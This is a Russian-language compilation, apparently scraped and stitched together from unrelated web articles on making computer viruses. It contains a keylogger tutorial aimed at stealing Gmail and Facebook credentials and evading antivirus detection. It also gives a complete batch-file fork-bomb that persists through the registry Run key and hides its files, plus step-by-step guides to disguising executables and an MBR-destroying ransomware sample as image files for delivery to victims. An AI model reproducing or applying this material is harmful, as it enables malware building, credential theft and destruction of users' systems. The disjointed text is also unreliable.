Как сделать ложный вирус
Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Как создать, написать компьютерный вирус?
Создаем простейший вирус
В данной статье мы рассмотрим создание вируса, который после своего запуска будет бесконечно открывать окно командной строки. Бесконечно и очень быстро открывающиеся окна командной строки не дадут пользователю спокойно работать. Закрыть их всех не успеет никто и очень скоро они забьют оперативную память компьютера, что в свою очередь сильно затормозит работу компьютера, вплоть до полного зависания. Выглядеть это будет приблизительно так:
Вдобавок, мы закинем наш вирус в автозагрузку, что обеспечит автоматический запуск вируса вместе с операционной системой.
Код создаваемого вируса
Сколько программистов, столько разных решений можно придумать для каждой задачи. Я приведу один из своих методов решения такой задачи.
[code]md c:\papka
echo start c:\papka\virus.bat>c:\papka\virus.bat
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v virus /d c:\papka\virus.bat
attrib +r +h +s c:\papka
attrib +r +h +s c:\papka\virus.bat
start c:\papka\virus.bat
del %0[/code]
А теперь разберем сам код. Первая строчка создает папку с именем papka в корне диска C:/. Такой адрес приведен только для примера. Использование же корня папки C:/ не совсем хороший вариант для вируса. Если Вы хотите обеспечить хорошую выживаемость Вашему вирусу, лучше всего спрятать его подальше. Первую команду можно даже пропустить, если Вы закинете сам вирус в уже созданную директорию.
Третья строчка закидывает созданный нами во второй строчке тело вируса в автозагрузку. Для этого используется пользовательская ветка реестра, так как к ней у пользователя всегда есть доступ. А вот использовать автозагрузку компьютера не безопасно, так как пользователь может не иметь административного доступа, что вызовет ненужную ошибку.
Четвертая и пятая строка кода изменяют атрибуты вируса и папки, где хранится вирус. Данными командами, а для этого используется команда attrib, мы добавляем атрибуты Только чтение, Скрытый и Системный и для папки, и для вируса. Использование атрибута r(Только чтение) необязательно. А вот атрибуты Скрытый и Системный хорошо защитят созданный нами вирус. Если не верите, то почитайте статью про вирус, который превращает папки на флешке в ярлыки. Он использует именно эту технологию.
6-ая строчка кода запускает наш вирус. Вы можете пропустить этот пункт, если хотите, чтобы первый запуск вируса произошел только после перезагрузки компьютера.
Смысл созданного вируса
Смысл вируса, который уместился в эти 7 строк — создать основной вирус, защитить его и обеспечить его постоянную работу. А так же подмести свои следы. А что делает основной вирус? После запуска основного вируса, он выполняет ту команду, которая вписана в нее. А это команда, в свою очередь, запускает наш вирус, который опять-таки снова запускает самого себя. И так до бесконечности.
Как бороться с такими вирусами?
Во-первых, начало борьбы с данным вирусом начнется после того, как он запуститься. Очень скоро вирус заполнит своими копиями оперативную память и Вы даже мышкой шевельнуть не сможете. Поэтому, такой спектакль нужно пресекать сразу. Для этого прекрасно подойдет кнопка Break на клавиатуре. Жмите ее столько, сколько понадобится, чтобы новые копии перестали создаваться. На клавиатурах без кнопки Break, может помочь сочетание клавиш Ctrl+C.
Как удалить такой вирус?
Вы можете найти и удалить вирус через его запись в автозагрузке(подробнее по ссылке). А так же Вы можете выйти на вирус по команде, которая будет высвечиваться в окне командного интерпретатора. Естественно, если Вы сможете добраться до скрытого и системного файла. Вот таким образом происходит создание простого вируса.
Как создать вирусную ссылку для телефона и компьютера?
Случаются такие дни, когда охота насорить кому-нибудь скрытно, или же вы решили создать вирус, который будет красть данные, любые данные. Вообразим себя злыми хакерами, которые решили начать действовать. Давайте познаем это необъятное искусство.
Определение вируса
История компьютерных вирусов берет свое начало в 1983 году, когда Фред Коэн использовал его впервые.
Методы воздействия вредоносных программ
К компьютерным вирусам относится множество вредоносных программ, однако не все они способны к «размножению»:
Пути распространения
Вредоносный контент может попасть на устройство разными способами:
Где могут прятаться вирусы
Когда вирусная ссылка сделана, а вы запустили программу, которая начинает скрытую работу на персональном компьютере, то некоторые вирусы и другие вредоносные программы способны на сокрытие своих данных в системе или в исполняемых файлах, расширение которых может быть следующего типа:
Признаки
Любое заболевание или заражение протекает в скрытой фазе или в открытой, этот принцип присущ и вредоносному программному обеспечению:
Методы защиты
Самое время подумать о способах защиты от вторжения:
Как найти список вирусных ссылок? Благодаря Интернету можно скачать сервисы, например, от Dr.Web. Или воспользоваться специальным сервисом для показа всех возможных вредных ссылок. Там есть список на вирусные ссылки. Остается выбрать наиболее подходящий вариант.
Вирусная ссылка
Не забывайте, что использование вирусных программ преследуется по закону!
Вирусная ссылка для телефона создается примерно так же, но с устройствами на iOS придется помучиться, так как там хорошая система защиты, в отличие от «Андроида». Однако в последних версиях удалось поправить многие дыры в системе защиты. Не забывайте, что есть еще старые устройства, а зная «любовь» к созданию новых версий у сторонних разработчиков, большая часть андроид-устройств подвержена опасности.
Статья Создаем фото или файл с вирусом внутри
Создаем фото, или любой другой файл с вирусом
В данном случай я выбрал метод картинки. Картинку можно использовать любую, но я в качестве примера взял картинку Кроноса(бога времени) он тут будет выступать главным лицом.
Создаем фото с вирусом метод 1
Дальше будет ваш файл который вы будете маскировать под вирус, ваша картинка, а также будут 2 иконки. И так заходим в папку «Collection_OCX» и находим файл «Resgistrator.OCX» открываем и нажимаем регистрация, подождите пока дело дойдёт до конца. Правда будут несколько ошибок, но на них не обращайте внимания.
Закрываем окно и возвращаемся назад. Далее выделяем наш вирус и вашу картинку под которую вы будете его маскировать, нажимаем правую кнопку
Ставим галочку «создать SFX-arxiv», а метод сжатия выбираем максимальный. В разделе «Дополнительно» на параметры SFX, там мы указываем путь для распаковки наших файлов, там где будет картинка И там где будет вирус, ради примера я указал диск “C”
В разделе «Установка», нам первом делом надо скопировать всё название нашей картинки с расширением, дальше нажимаем ENTER и пишем название нашего вируса.
Во вкладке «Режимы» мы ставим галочку «Скрыть всё», а в раздел «Дополнительно» мы не трогаем, раздел «Обновления» мы выбираем 2 пункт везде, извлечь и обновить файлы, перезаписать файлы.
Теперь отправляемся в раздел «Текст и графика» здесь нам потребуются иконки которые я упомянул в начале.
После того как вы нашли пустую иконку какого нибудь графического файла, мы возвращаемся в архив и в разделе «Загрузить значок SFX из файла» нажимаем Обзор и выбираем именноего (нашу иконку).
Маскируем расширение Exe
Появится файл exe.jpg, здесь у обычного человека ломается логика, ведь если мы выбираем левую часть то у нас выделяется правая часть, всё очень просто расширения поменялось местами с основным текстом.
Создаем фото с вирусом метод 2
Теперь появился файл который мы создали с расширением jpg, его также можно дополнить некоторыми символами чтоб не было слишком подозрительно.
Можете открыть данный файл, данное изображения будет открываться в течение 2-3 секунд, на экране появится ваша картинка, а то что задали в директорию уже будут файлы которые вы указали(ваш вирус).
Вирус автоматически запустится так что не забудьте его закрыть через диспетчер задач.
Создаем фото с вирусом метод 3
Ну а теперь перейдём к 3 методу, и это будет полезно даже тем просто хочет свои файлы от глаз других на самом видном месте. В нашей директории опять зажимаем SHIFT + нажимаем правый клик мышки, и выбираем раздел «Открыть окно команд», и вписываем здесь вот такую интересную команду:
File1– названия вашей картинки, либо если будет музыка ставим.mp3
File2 название вашего файла который хотите скрыть, также можете вместо вируса скрыть другой файл и поменяем расширение,
Появится картинка, оно открывается без лишней погрузки, но если мы нажмём правой кнопки и выберем «Открыть с помощью winrar», то здесь у нас будут наш вирус или файл который вы скрыли.
Опасный шифровальщик Coronavirus. Как спрятать вирус в картинку?
Zip File, мамкины хацкеры. Помните, как в одном из последних видео, я рассказывал вам о том, как злоумышленники распространяют вирусы посредством интеграции в варезный софт и установщики популярных игры? Если не видели, обязательно посмотрите. Темка очень даже живая и актуальная. Так вот. В комментариях, один из наших камрадов задал весьма любопытный вопрос. А возможна ли подобная маскировка вредоносных EXE-файлов, скажем в картинки?
Ну конечно возможна. Правда тут тоже есть свои нюансы, но если включить голову, проявить смекалку и немножечко понадеяться на лоха, то можно заразить пикчу даже коронавирусом.
И я сейчас не шучу. В сети уже вовсю гуляет юное дарование. Эдакий потомок легендарного вируса Пети – Covid-19. Правда в отличие от знаменитого деда или отца, корончик не шифрует системные файлы, а лишь мочит MBR’ку.
Восстановить загрузочную область после такой заразы сможет даже не слишком опытный сисадмин, если воспользуется стандартной процедурой восстановления Windows.
Однако человеку бесконечно далёкому от мира IT, подобный вирус может доставить немало хлопот. Говоря прямо, он попросту выведет из строя несчастный комп и заставит серьёзно понервничать в ожидании приезда соответствующего специалиста.
Что ж, нынче я покажу вам, как злоумышленники могут в два счёта зашить подобную вирусню в обычную фотку и затем передать её жертве. Причём для этого мне даже не понадобится Kali Linux.
Все действия будут выполняться исключительно под виндой. Но я сразу предупреждаю. Ни в коем случае не повторяйте это самостоятельно, если не чувствуете себя достаточно компетентным.
А если уж взялись затестить нечто подобное на свой страх и риск, то используйте для этого отдельную изолированную виртуальную машину. Я предпочитаю VMware. Хотя VirtualBox тоже сгодится.
И естественно я снимаю данное видео исключительно в обучающих целях с благим мотивом повысить ваш уровень знаний в области информационной безопасности и бла бла бла. Короче, погнали уже кошмарить.
Шаг 1. С большим трудом мне удалось достать секретные фотки с закрытой вписки самых опасных мамкиных хакеров. Этот же источник и слил мне тот самый вирус с громким названием «COVID-19.EXE». Далее мы попробуем зашить данный вирь в одну из картинок.
Шаг 2. Берём первую фоточку на которой Дарлин в маске Гая Фокса вершит правосудие и закидываем её на сервис Icoconvert.
Шаг 3. После загрузки задаём будущей иконке все размеры. От 16×16 до 256. После того, как всё проставлено, кликаем на Convert, и затем скачиваем скомпилированный вариант на компьютер.
Шаг 4. Оставим иконку временно в покое и закинем в папку с фотографиями наш вирус. Отлично. Теперь выделяем всю эту историю. Если хотите можете выделить только одну фотку и вирус в целях экономии места. Добавляем это дело в новый архив.
Шаг 5. И на вкладке общие ставим галочку «Создать самораспаковывающий архив». В англоязычной версии он называется SFX.
Шаг 6. Далее переходим на вкладочку «Дополнительно» и выбираем «Параметры SFX…». В открывшемся окне на вкладке обновления ставим галки напротив пунктов «Извлечь и обновить файлы» и «Перезаписывать все файлы без запроса».
Шаг 7. Окей. На вкладке «Установка» сообщаем какие файлы должны открыться в момент запуска EXE’шника. Первой пусть откроется оригинальная фотография, а затем уже наш вирус COVID-19.EXE.
Шаг 8. Следующий шаг – это подмена иконки архива на ту самую пикчу, что мы скомпилили в самом начале урока. Переходим на вкладыч «Текст и графика» и указываем путь к соответствующему значку.
Шаг 9. Почти всё. Осталось поколдовать с режимами. Отмечаем «Распаковать во временную папку» и скрываем любую информацию от пользователя в момент распаковки. Жмём ОК.
Шаг 10. У нас получился файлик «Фотки со вписки.exe». Явное палево. Нужно как, то доработать заразу. Правой кнопкой – «Переименовать».
Шаг 12. Отлично. Теперь палево не столь очевидно, но всё же на такое клацнет только последний кретин. Самое время проявить смекалку. Нам нужно, чтобы название картинки начиналось в буквы А, дабы при алфавитной сортировке она была первой в списке и оканчивалось на ЕХЕ. «А повезло же Лехе». М? Как вам? По-моему, вполне себе. В точно таком же быдляцком стиле неймим остальные пикчи из папки, а затем удаляем оригинальную фотку и оригинальный экзэшник COVID’а.
Шаг 14. Всё. Погнали.Ой ё ёй, что началось то.
Шаг 15. После ребута появляется окно с короной, в котором доступна только кнопка «Help». Лады. Жмём на неё. Вирус предупреждает нас о том, чтобы мы даже и не думали лезть в диспетчер задач, ибо он более недоступен. Проверим. Хм. Действительно. Раз это дерьмо закрыть не получится, давайте снова попробуем животворящий ребут. Как грится, семь без, один ресет.
Шаг 16. Иии, собственно, всё. Приехали. Вирус сожрал MBR’ку.
Вот как-то так, вашу систему может нагнуть простенький вирус, зашитый в обычную фотку со вписки. По аналогии злоумышленники маскируют стиллеры, кейлоггеры и прочую нечисть.
Передать такой зловред можно, как по облаку, тупо закинув папку в архив, так и на флешке под видом фотоальбома. Поэтому, прежде чем давать свою флешку какому-нибудь знакомому IT’шнику всегда предварительно форматируйте на ней всё что есть.
А то внезапно появится в папке «Майские праздники 2020» какой-нибудь Лёха. И заразит ваш компьютер так, что проблемы мировой пандемии покажутся пшиком на фоне последствий от его действий.
Правда напоминаю, что для удачного исхода, злоумышленнику понадобится включить смекалку. Ну и, как минимум, обладать маломальскими навыками социальной инженерии.
А с этим, у нас в последнее время туговастенько. Образование молодёжи, особенно в сфере IT, совсем ни к чёрту. Поэтому друзья, если не хотите оставаться Алёшами, обязательно учитесь чему-то полезному.
Для тех, кому интересна тема развёртывания таких виртуальных полигонов для тестирования различных вирусов и полезных программ, настоятельно рекомендую к ознакомлению мой обучающий курс «Администрирование Windows Server».
В нём я подробно рассматриваю вопрос установки и настройки виртуальных машин под управлением операционных систем семейства Windows. Рассказываю нюансы сетевого взаимодействия и делюсь прикладной практической информацией по всему, что будет полезно начинающим и опытным системным администраторам, работающим с виндой.
>>>КЛИКНИТЕ, ЧТОБЫ УЗНАТЬ ПОДРОБНОСТИ
Ссылочку на данный курс ищите в описании к ролику. Ну а мы будем постепенно подводить итоги. Чтобы обезопасить себя от подобных угроз, достаточно использовать на своём компьютере нормальный платный антивирус.
Либо заиметь привычку предварительно проверять свойства файлов, прежде чем бездумно их открывать. Ведь даже рассмотренный сегодня случай – всего лишь визуальный обман и баг виндового интерфейса.
Ну а вообще, если хотите стабильности и безопасной работы, то присмотритесь к Unix-подобным системам. Linux, MacOS. Они, как минимум, защищены от EXE’шных зловредов.
Что ж, на этой ноте я с вами прощаюсь. Если впервые попали к нам на канал, то не тупите, бейте в колокол и в вашей ленте будут регулярно появляться годнейшие ролики на тему вирусологии, взломов и пентестингу.
Олдам по традиции удачи, успехов и безопасной работы. Не будьте Алёшками, не видитесь на подобный развод. Берегите себя и своих родных от короновируса. И компьютерного, и реального. Ещё не известно, что страшнее.
Не забудьте поделиться роликом с друзьями, дабы они ненароком не подхватили такую заразу. Ну а я в свою очередь буду стараться вас просвещать, как можно активнее. С вами был Денис Курец. Увидимся в следующем выпуске. Всем пока.